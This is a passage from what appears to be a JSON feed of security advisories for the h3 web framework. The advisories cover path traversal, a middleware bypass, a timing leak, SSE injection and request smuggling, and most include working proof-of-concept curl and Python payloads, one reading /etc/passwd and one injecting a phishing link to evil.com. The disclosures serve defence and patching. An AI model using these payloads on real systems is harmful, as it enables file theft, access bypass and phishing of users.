`%2e` → `.`, producing `/../../../etc/passwd`. However, the decoding happens *inside* the `resolveDotSegments()` call argument — `decodeURI` runs first, then `resolveDotSegments` processes the result.\n\nWait — re-examining the flow more carefully:\n\n1. Input pathname after event.ts: `/%2e%2e/%2e%2e/etc/passwd`\n2. `decodeURI()` in static.ts converts `%2e` → `.`, producing: `/../../../etc/passwd`\n3. `resolveDotSegments(\"/../../../etc/passwd\")` **does** resolve `..` segments, clamping to `/etc/passwd`\n\nThe actual bypass is subtler. `decodeURI()` does **not** decode `%2e` — it only decodes characters that `encodeURI` would encode. Since `.` is never encoded by `encodeURI`, `%2e` is **not** decoded by `decodeURI()`. So the chain is:\n\n1. Request: `/%252e%252e/%252e%252e/etc/passwd`\n2. After event.ts decode: `/%2e%2e/%2e%2e/etc/passwd`\n3. `decodeURI()` in static.ts: `/%2e%2e/%2e%2e/etc/passwd` (unchanged — `decodeURI` doesn't decode `%2e`)\n4. `resolveDotSegments()` fast-returns at line 56 because `%2e` contains no literal `.` character:\n   ```typescript\n   if (!path.includes(\".\")) {\n     return path;\n   }\n   ```\n5. Asset ID `/%2e%2e/%2e%2e/etc/passwd` is passed to `getMeta()` and `getContents()` callbacks\n6. URL-based backends resolve `%2e%2e` as `..` per RFC 3986 / URL Standard\n\nThe root cause is `resolveDotSegments()` only checks for literal `.` characters and does not account for percent-encoded dot sequences (`%2e`). The `decodeURI()` in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that `%2e%2e` survives as a traversal payload through both decoding stages and `resolveDotSegments`.\n\n## PoC\n\n**1. Create a minimal h3 server with a URL-based static backend:**\n\n```javascript\n// server.mjs\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"srvx\";\n\nconst app = new H3();\n\napp.get(\"/**\", (event) =\u003e {\n  return serveStatic(event, {\n    getMeta(id) {\n      console.log(\"[getMeta] asset ID:\", id);\n      // Simulate URL-based backend (CDN/S3)\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getMeta] resolved URL:\", url.href);\n      return { type: \"text/plain\" };\n    },\n    getContents(id) {\n      console.log(\"[getContents] asset ID:\", id);\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getContents] resolved URL:\", url.href);\n      return `Fetched from: ${url.href}`;\n    },\n  });\n});\n\nserve({ fetch: app.fetch, port: 3000 });\n```\n\n**2. Send the double-encoded traversal request:**\n\n```bash\ncurl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'\n```\n\n**3. Observe server logs:**\n\n```\n[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getMeta] resolved URL: https://cdn.example.com/etc/passwd\n[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getContents] resolved URL: https://cdn.example.com/etc/passwd\n```\n\nThe `%2e%2e` sequences in the asset ID are resolved as `..` by the `URL` constructor, causing the backend URL to traverse from `/static/` to `/etc/passwd`.\n\n## Impact\n\n- **Arbitrary file read from backend storage:** An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).\n- **Sensitive data exposure:** Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.\n- **Affected deployments:** Applications using `serveStatic` with callbacks that resolve asset IDs via URL construction (`new URL(id, baseUrl)` or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using `path.join()` are not affected since `%2e%2e` is not resolved as a traversal sequence by filesystem APIs.\n\n## Recommended Fix\n\nThe `resolveDotSegments()` function must account for percent-encoded dot sequences. Additionally, the redundant `decodeURI()` in `serveStatic` should be removed since `H3Event` already handles decoding.\n\n**Fix 1 — Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:**\n\n```diff\n  const originalId = resolveDotSegments(\n-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),\n  );\n```\n\n**Fix 2 — Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:**\n\n```diff\n export function resolveDotSegments(path: string): string {\n-  if (!path.includes(\".\")) {\n+  if (!path.includes(\".\") \u0026\u0026 !path.toLowerCase().includes(\"%2e\")) {\n     return path;\n   }\n   // Normalize backslashes to forward slashes to prevent traversal via `\\`\n-  const segments = path.replaceAll(\"\\\\\", \"/\").split(\"/\");\n+  const segments = path.replaceAll(\"\\\\\", \"/\")\n+    .replaceAll(/%2e/gi, \".\")\n+    .split(\"/\");\n   const resolved: string[] = [];\n```\n\nBoth fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring `resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-20T20:50:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-72gr-qfp7-vwhw","https://github.com/advisories/GHSA-72gr-qfp7-vwhw"],"source_kind":"github","identifiers":["GHSA-72gr-qfp7-vwhw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T21:00:10.452Z","updated_at":"2026-05-07T07:00:59.938Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MmdyLXFmcDctdndod84ABT7p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03MmdyLXFmcDctdndod84ABT7p","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"1.15.9","vulnerable_version_range":"\u003c= 1.15.8"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03MmdyLXFmcDctdndod84ABT7p/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cjRoLXY4N3ctcDNyN84ABTzy","url":"https://github.com/advisories/GHSA-wr4h-v87w-p3r7","title":"h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read","description":"## Summary\n\n`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.\n\n## Details\n\nThe vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):\n\n```typescript\nconst originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));\n```\n\nOn Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).\n\nThis means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).\n\nThe `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.\n\nWhen these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.\n\n\nBefore exploit:\n\n\u003cimg width=\"761\" height=\"97\" alt=\"image\" src=\"https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627\" /\u003e\n\n### Vulnerability chain\n\n```\n1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd\n2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)\n3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)\n4. getMeta(id):       id = \"/../../../etc/passwd\"         (no traversal check)\n5. path.join(root,id): /etc/passwd                        (.. resolved by OS)\n6. Response:          contents of /etc/passwd\n```\n\n## PoC\n\n### Vulnerable server (`server.ts`)\n\n```typescript\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"h3/node\";\nimport { readFileSync, statSync } from \"node:fs\";\nimport { join, resolve } from \"node:path\";\n\nconst STATIC_ROOT = resolve(\"./public\");\nconst app = new H3();\n\napp.all(\"/**\", (event) =\u003e\n  serveStatic(event, {\n    getMeta: (id) =\u003e {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        const stat = statSync(filePath);\n        return { size: stat.size, mtime: stat.mtime };\n      } catch {\n        return undefined;\n      }\n    },\n    getContents: (id) =\u003e {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        return readFileSync(filePath);\n      } catch {\n        return undefined;\n      }\n    },\n  })\n);\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)\ncurl -s --path-as-is \"http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n\n### Result\n\n```\nroot:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n...\n```\n\n\nProof:\n\n\u003cimg width=\"940\" height=\"703\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1\" /\u003e\n\nPwned by **0xkakashi** \n\n\u003cimg width=\"942\" height=\"74\" alt=\"image\" src=\"https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95\" /\u003e\n\n\n## Impact\n\nAn unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.\n\nThis affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed.\n\n**Exploitable files include but are not limited to:**\n- `/etc/passwd`, `/etc/shadow` (if readable)\n- Application source code and configuration files\n- `.env` files containing secrets, API keys, database credentials\n- Private keys and certificates","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T16:18:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7","https://github.com/h3js/h3/commit/0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d","https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86","https://github.com/advisories/GHSA-wr4h-v87w-p3r7"],"source_kind":"github","identifiers":["GHSA-wr4h-v87w-p3r7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T17:00:11.031Z","updated_at":"2026-05-07T07:01:05.806Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cjRoLXY4N3ctcDNyN84ABTzy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13cjRoLXY4N3ctcDNyN84ABTzy","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"1.15.6","vulnerable_version_range":"\u003c 1.15.6"},{"first_patched_version":"2.0.1-rc.15","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.0.1-rc.14"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13cjRoLXY4N3ctcDNyN84ABTzy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdmo4LWpteHEtY2dqNc4ABTzx","url":"https://github.com/advisories/GHSA-3vj8-jmxq-cgj5","title":"h3 has a middleware bypass with one gadget","description":"# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-18T16:18:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5","https://nvd.nist.gov/vuln/detail/CVE-2026-33131","https://github.com/advisories/GHSA-3vj8-jmxq-cgj5"],"source_kind":"github","identifiers":["GHSA-3vj8-jmxq-cgj5","CVE-2026-33131"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T17:00:11.031Z","updated_at":"2026-05-17T05:01:33.148Z","epss_percentage":0.00026,"epss_percentile":0.07516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdmo4LWpteHEtY2dqNc4ABTzx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdmo4LWpteHEtY2dqNc4ABTzx","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"2.0.1-rc.15","vulnerable_version_range":"\u003e= 2.0.0-0, \u003c 2.0.1-rc.15"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdmo4LWpteHEtY2dqNc4ABTzx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNmY1LThoMngtMzR4aM4ABTzw","url":"https://github.com/advisories/GHSA-26f5-8h2x-34xh","title":"h3 has an observable timing discrepancy in basic auth utils","description":"### Summary\nA Timing Side-Channel vulnerability exists in the `requireBasicAuth` function due to the use of unsafe string comparison (`!==`). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.\n\n### Details\nThe vulnerability is located in the `requireBasicAuth` function. The code performs a standard string comparison between the user-provided password and the expected password:\n\n~~~typescript\nif (opts.password \u0026\u0026 password !== opts.password) {\n  throw autheFailed(event, opts?.realm);\n}\n~~~\n\nIn V8 (and most runtime environments), the `!==` operator is optimized to \"fail fast.\" It stops execution and returns `false` as soon as it encounters the first mismatched byte.\n* If the first character is wrong, it returns immediately.\n* If the first character is correct but the second is wrong, it takes slightly longer.\n\nBy statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.\n\n### PoC\nThis vulnerability is exploitable in real-world scenarios without direct access to the server machine.\n\nTo reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:\n1.  **Packet A:** Contains a password that is known to be incorrect starting at the first character (e.g., `AAAA...`).\n2.  **Packet B:** Contains a password where the first character is a guess (e.g., `B...`).\n\nBy measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.\n\n### Impact\n\nThis vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-18T16:17:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-26f5-8h2x-34xh","https://nvd.nist.gov/vuln/detail/CVE-2026-33129","https://github.com/h3js/h3/pull/1283","https://github.com/h3js/h3/releases/tag/v2.0.1-rc.9","https://github.com/advisories/GHSA-26f5-8h2x-34xh"],"source_kind":"github","identifiers":["GHSA-26f5-8h2x-34xh","CVE-2026-33129"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T17:00:11.031Z","updated_at":"2026-05-07T07:01:05.807Z","epss_percentage":0.00053,"epss_percentile":0.16236,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNmY1LThoMngtMzR4aM4ABTzw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNmY1LThoMngtMzR4aM4ABTzw","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"2.0.1-rc.9","vulnerable_version_range":"\u003e= 2.0.0-beta.0, \u003c= 2.0.0-rc.8"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNmY1LThoMngtMzR4aM4ABTzw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yMmNjLXAzYzYtd3B2bc4ABTzv","url":"https://github.com/advisories/GHSA-22cc-p3c6-wpvm","title":"h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields","description":"## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${message.id}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${message.event}\\n`;\n  }\n  if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  result += `data: ${message.data}\\n\\n`;\n  return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** — break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** — using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** — inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** — inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format:        Actual wire format (with \\n injection):\n\nevent: message               event: message\ndata: attacker: hey          event: admin              ← INJECTED\n                             data: ALL_USERS_HACKED    ← INJECTED\n                             data: attacker: hey\n```\n\nThe browser's `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended:                    Actual (with \\n\\n injection):\n\nevent: message               event: message\ndata: bob: hi                data: bob: hi\n                                                        ← event boundary\n                             event: system              ← INJECTED event\n                             data: Reset: evil.com      ← INJECTED data\n```\n\nBefore exploit:\n\u003cimg width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" /\u003e\n\n\u003cimg width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" /\u003e\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) =\u003e {\n  const stream = createEventStream(event);\n  clients.push(stream);\n  stream.onClosed(() =\u003e {\n    clients.splice(clients.indexOf(stream), 1);\n    stream.close();\n  });\n  return stream.send();\n});\n\napp.get(\"/send\", async (event) =\u003e {\n  const query = getQuery(event);\n  const user = query.user as string;\n  const msg = query.msg as string;\n  const type = (query.type as string) || \"message\";\n\n  for (const client of clients) {\n    await client.push({ event: type, data: `${user}: ${msg}` });\n  }\n\n  return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker\u0026msg=hey\u0026type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob\u0026msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal\u0026type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x\u0026msg=test%0aretry:%201\u0026type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser's `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` — entirely controlled by the attacker.\n\nProof:\n\n\u003cimg width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" /\u003e\n\n\u003cimg width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" /\u003e\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** — inject fake messages in chat applications\n- **Phishing** — inject fake system notifications with malicious links\n- **Event spoofing** — trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** — inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** — override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-18T16:17:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","references":["https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm","https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6","https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187","https://nvd.nist.gov/vuln/detail/CVE-2026-33128","https://github.com/advisories/GHSA-22cc-p3c6-wpvm"],"source_kind":"github","identifiers":["GHSA-22cc-p3c6-wpvm","CVE-2026-33128"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T17:00:11.031Z","updated_at":"2026-05-07T07:01:05.807Z","epss_percentage":0.00024,"epss_percentile":0.0664,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMmNjLXAzYzYtd3B2bc4ABTzv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yMmNjLXAzYzYtd3B2bc4ABTzv","packages":[{"ecosystem":"npm","package_name":"h3","versions":[{"first_patched_version":"1.15.6","vulnerable_version_range":"\u003c 1.15.6"},{"first_patched_version":"2.0.1-rc.15","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.0.1-rc.14"}],"purl":"pkg:npm/h3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMmNjLXAzYzYtd3B2bc4ABTzv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcDJnLTl2ZzktZjRjZ84ABRIs","url":"https://github.com/advisories/GHSA-mp2g-9vg9-f4cg","title":"h3 v1 has Request Smuggling (TE.TE) issue","description":"I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.\n\nBasically, `readRawBody` is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for \"chunked\", but per the RFC, this header should be case-insensitive.\n\n**The Bug**: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see \"chunked\" and there's no Content-Length, it assumes the body is empty and processes the request immediately.\n\nThis leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).\n\n**Vulnerable Code** (`src/utils/body.ts`):\n\n```js\nif (\n    !Number.parseInt(event.node.req.headers[\"content-length\"] || \"\") \u0026\u0026\n    !String(event.node.req.headers[\"transfer-encoding\"] ?? \"\")\n      .split(\",\")\n      .map((e) =\u003e e.trim())\n      .filter(Boolean)\n      .includes(\"chunked\") // \u003c--- This is the issue. \"ChuNkEd\" returns false here.\n  ) {\n    return Promise.resolve(undefined);\n  }\n```\n\nI verified this locally:\n\n- Sent a `Transfer-Encoding: ChunKed` request without a closing 0 chunk.\n- Express hangs (correctly waiting for data).\n- h3 responds immediately (vulnerable, thinks body is length 0).\n\n**Impact**: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.\n\n**Fix**: Just need to normalize the header value before checking: ` .map((e) =\u003e 